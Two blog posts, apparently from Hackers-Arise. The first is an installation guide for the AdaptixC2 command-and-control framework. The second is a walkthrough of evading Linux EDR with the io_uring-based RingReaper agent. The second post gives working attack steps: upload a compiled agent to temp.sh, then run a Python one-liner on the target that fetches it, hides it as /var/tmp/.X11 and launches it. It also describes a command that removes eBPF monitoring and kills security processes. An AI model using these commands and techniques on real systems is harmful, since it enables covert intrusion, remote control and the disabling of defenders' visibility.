Welcome back, aspiring cyberwarriors!

At Hackers-Arise, we’ve previously examined various command and control frameworks, including Havoc and Sliver. The market is filled with numerous options, each presenting its unique advantages and drawbacks. And while news about another C2 may not typically raise eyebrows among cyberwarriors, AdaptixC2 stands out as an exception worth attention.

In this article, we’ll delve into the features of AdaptixC2 and guide you through the installation and initial configuration process on Kali Linux. Let’s get rolling!

AdaptixC2 – Overview

AdaptixC2 is a red teaming tool designed for adversarial actions, offering a wide range of customization options. If a cyberwarrior were to utilize this tool, they would gain extensive control over the affected machines. This control allows them to manipulate the file system, manage directories, and create, modify, or delete files and folders at will. Moreover, they can enumerate running processes, terminate specific applications, and launch new programs. Such capabilities allow threat actors to establish a foothold within the environment, delve deeper into the compromised system, and maneuver laterally across the network.

To facilitate covert communication and bypass network restrictions, the framework contains tunneling features, including SOCKS4/5 proxy functionality and port forwarding. These options enable cyberwarriors to maintain communication channels even in heavily secured environments.

AdaptixC2 is inherently modular, leveraging “extenders” that act as plugins for both listeners and agents. This modular design allows hackers to create customized payloads and detection-evasion techniques tailored to their target systems. Additionally, it supports Beacon Object Files (BOFs), which let attackers execute small, custom programs written in C directly within the agent’s process, helping to evade detection.

The beacon agents in AdaptixC2 come loaded with specialized commands for quick and discreet data transfer. They are compatible with both x86 and x64 architectures and can be produced in various formats such as standalone executables, dynamic-link libraries, service executables, and raw shellcode. With this framework, cyberwarriors can efficiently exfiltrate data from the compromised network by configuring chunk sizes during file downloads and uploads, making smaller segments appear less suspicious to network detection systems.

Installation

AdaptixC2 is published on GitHub, and we can easily install it with the following command:

kali> git clone https://github.com/Adaptix-Framework/AdaptixC2.git

When we visit the AdaptixC2 folder and list the content, we’ll see the output as below.

We’re interested in the pre_install_linux_all.sh script, which will install everything we need for the server and client parts.

kali> sudo bash ./pre_install_linux_all.sh server

The next step is running make:

kali> make server-ext

This will build the AdaptixC2 server and Go plugins (extenders). All compiled files will be located in the dist directory.

Lastly, we need to generate some SSL certificates.

kali> openssl req -x509 -nodes -newkey rsa:2048 -keyout server.rsa.key -out server.rsa.crt -days 3650

This command generates a self-signed SSL/TLS certificate along with its private key using OpenSSL.

Breaking down what happens: req -x509 tells OpenSSL to create a self-signed X.509 certificate rather than a certificate signing request. -nodes means the private key won’t be encrypted with a passphrase, so it can be used without prompting for a password each time. -newkey rsa:2048 generates a new 2048-bit RSA key pair at the same time. -keyout server.rsa.key specifies the file where the new private key will be saved, and -out server.rsa.crt specifies the file where the resulting certificate will be saved. Finally, -days 3650 sets the certificate’s validity period to 3650 days (10 years).

Since it doesn’t specify a -subj flag, OpenSSL will interactively prompt you for details like country when you run it, but we can just Tab and skip it all.

At this stage, we should have an SSL certificate and need to copy it to a dist directory:

kali> cp server.rsa.* ./dist

In the dist directory, we can also see a file called profile.yaml. It contains configuration for the AdaptixC2 server. This is different than what you normally expect from profiles such as Cobalt Strike or Nighthawk, which have everything tied together.

For this demonstration, I’ll leave everything at the default.

To start the AdaptixC2 server, run the following command:

kali> sudo ./adaptixserver -profile profile.yaml

That’s it; we’re ready to move into client configuration.

We need to begin with the pre_install script, but now run it for the client:

kali> sudo bash ./pre_install_linux_all.sh client

Lastly, what we need to do is make the client:

kali> make client

Getting Started

To get started, we just need to run the AdaptixC2 client binary:

kali> ./AdaptixClient

You’ll see a window like the one below.

In the profile.yaml we saw operator1 and operator2, but technically we can set up any username we want. But the default password is pass.

When everything is entered, we’re ready to click Connect. You’ll be greeted by the very clean UI.

From here, you can take a look at the tabs on the interface pane. In order of appearance from left to right, you have:

Notifications – View system and agent-related alerts.

Listeners & Sites – Here you can create, edit, and delete listeners.

Extension Docks – Manage and configure loaded extensions.

Session Table – List all connected agents with details like OS, user, computer, domain, sleep, and status.

Session Graph – Visual map of agent chains, lateral movement, and active tunnels.

Jobs & Tasks – View current and completed tasks assigned to agents.

Chat – Team chat for operator communication within the project.

Tunnels table – View current tunnels deployed by agents.

Downloads – View downloads from agents.

Targets table – Track and manage target hosts and networks.

Credentials – Store and manage harvested credentials (usernames, passwords, hashes, tickets, etc.).

Screens – View screenshots captured from agents.

The bottom pane is the agent console and acts very similarly to other GUI-based C2 clients such as Cobalt Strike.

Extension-Kit

So, the server is running, and the client is running. And the last step we need to do is to install Extension-Kit. This will add all the capabilities that will gonna make this tool worth using.

Installation is straightforward:

kali> git clone https://github.com/Adaptix-Framework/Extension-Kit.git

But besides the repository, we need to install the required utilities:

kali> apt install g++-mingw-w64-x86-64-posix gcc-mingw-w64-x86-64-posix mingw-w64-tools

Next, we need to run a make command:

kali> cd Extension-Kit

kali> make

During the installation, you’ll see a lot of BOFs, or Beacon Object Files. Basically, they’re small C programs that modularly fit into AdaptixC2 to give more functionality.

After running the make command, we need to open AdaptixC2 > Extensions > Script Manager. Then, right-click and select Open New. Load extension-kit.axs from the Extension-Kit directory.

At this point of time we’re ready to go. Next time, we will teach you how to operate and control the victim machine with your C2.

Summary

AdaptixC2 shows great promise, and I highly recommend giving it a try. It could become a valuable addition to your toolkit. By following the steps outlined in this article, you’ll set up a fully functional framework. Stay tuned for future articles where we will continue to delve into command and control frameworks.

If you found this information useful, you might also be interested in our Hacking Infrastructure course. Additionally, consider joining our community by becoming a Subscriber PRO.

The post AdaptixC2 — A Free Alternative to Cobalt Strike? first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Finding an EDR on a Linux machine is common when working with organizations that take cybersecurity seriously. While many associate EDR platforms with Windows, modern Linux deployments are often monitored as well. Evading an EDR is almost an art form. It requires a deep understanding of operating systems, system internals, and how security products actually collect telemetry. Most EDR products are designed around visibility. They monitor processes, file access, network connections, privilege escalation attempts, and many other activities that could indicate bad behavior. A simple example might be accessing sensitive files, attempting to connect to suspicious external infrastructure, or spawning unusual child processes. These actions generate events that security products can inspect and correlate.

Over the years, researchers have demonstrated many different methods for bypassing or reducing EDR visibility. Some techniques abuse trusted binaries. Others use kernel vulnerabilities or weaknesses in monitoring logic. Today, however, we are going to look at a different approach involving a Linux feature called io_uring. Using this technique, it becomes possible to perform reconnaissance, transfer files, establish C2 communications, and execute commands while generating significantly fewer events.

The technique we will discuss today was developed by MatheuZSecurity.

Bypassing EDR

Introduced in Linux kernel 5.1, io_uring was designed to improve the performance of I/O operations. Instead of repeatedly interacting with the kernel through traditional system calls, applications can place requests into a shared queue. The kernel processes those requests and returns the results. Applications can submit many operations at once rather than making separate calls for every read, write, file access, or network action. This becomes interesting from a security perspective because many EDR products monitor these activities. These events are often collected through hooks, audit frameworks or eBPF.

With io_uring, many operations can be submitted and handled through a different execution model. Instead of repeatedly calling functions, requests are processed through io_uring, generating fewer observable events.

This does not make activity invisible, it just reduces the visibility of EDR. But modern security products are trying to improve their ability to monitor io_uring now. However, because it can reduce traditional syscall visibility, it has become an area of growing interest for hackers.

Setting Up

To test the concept ourselves, we first need to set up the environment. Let’s download the project and install the required dependency.

kali > git clone https://github.com/MatheuZSecurity/RingReaper
kali > cd RingReaper
kali > sudo apt install liburing-dev -y

By default, Kali Linux does not include the required development library, so we need to install it before compiling the project.

After that, open the agent.c file and update the IP address to point to your Kali machine. This is the address the agent will connect back to once it is executed on the target system. That is the only modification required.

Once the IP address has been updated, compile the project and upload it to a temporary hosting service.

kali > gcc agent.c -o agent -luring -O2 -s -static
kali > curl -F "file=@agent" https://temp.sh/upload

After the upload completes, you will receive a URL that can be used to download the binary.

Connecting to C2

First we need to start our server.py on Kali. 

kali > python3 server.py --ip 192.168.131.7 --port 443

With the binary uploaded, we can move to the target machine. Replace the URL in the following command with the link generated during the upload process and execute it.

ubuntu > python3 -c "import urllib.request,os,subprocess; u=urllib.request.Request('http://temp.sh/xxxx/agent',method='POST'); d='/var/tmp/.X11'; open(d,'wb').write(urllib.request.urlopen(u).read()); os.chmod(d,0o755); subprocess.Popen([d]);"

The command downloads the executable, stores it locally, adjusts permissions, and launches it. If everything works correctly, the connection should appear immediately.

When operating inside a monitored environment, less activity usually means less risk. The less noise you generate, the less likely you are to attract attention.

Running Commands

Now we arrive at the interesting part. Once connected, start by running the help command to display the available functionality.

The command set is intentionally small, but it covers most of the tasks that you would typically need. For example, running the users command shows active sessions.

If necessary, individual sessions can be terminated using the kick command. The privesc command searches for SUID binaries that may be useful for privilege escalation. 

You can upload files to the target or retrieve files from the target machine. A common example would be reading .bash_history to see previously executed commands by local users.

Finally, the most interesting command is killbpf.

Many security tools including Falco, Sysdig, Elastic Defend, Tetragon, and many other monitoring platforms rely on eBPF to achieve deep kernel visibility. eBPF allows security products to observe process activity, system calls, network events, and many other behaviors without requiring traditional kernel modules.

The killbpf command attempts to disrupt this. It removes content from /sys/fs/bpf, which is the virtual filesystem commonly used to store pinned eBPF programs and maps. These maps act as shared data structures that allow eBPF programs and user-space applications to exchange information. When those components are removed or disrupted, security tools may lose visibility into system activity. In addition, the command attempts to identify and terminate processes actively interacting with eBPF maps.  Disrupting them can interfere with security monitoring.

Below you can see the tool working alongside TrendMicro. 

Summary

This agent shows how a legitimate Linux feature can be repurposed in unexpected ways. io_uring was created to improve performance and efficiency. Its purpose was never to bypass security products. However, as we have seen many times throughout cybersecurity history, legitimate technologies often become useful tools for hackers as well.

If you want to take your Linux knowledge to the next level, we offer Advanced Linux for Hackers training designed for both red and blue teams. The course will help you develop the advanced Linux skills needed for penetration testing, incident response, digital forensics, and other security tasks. Since many offensive and defensive techniques rely on a solid understanding of the operating system, these skills will let you troubleshoot complex environments.

The post Hacking: Linux EDR Evasion with io_uring first appeared on Hackers Arise.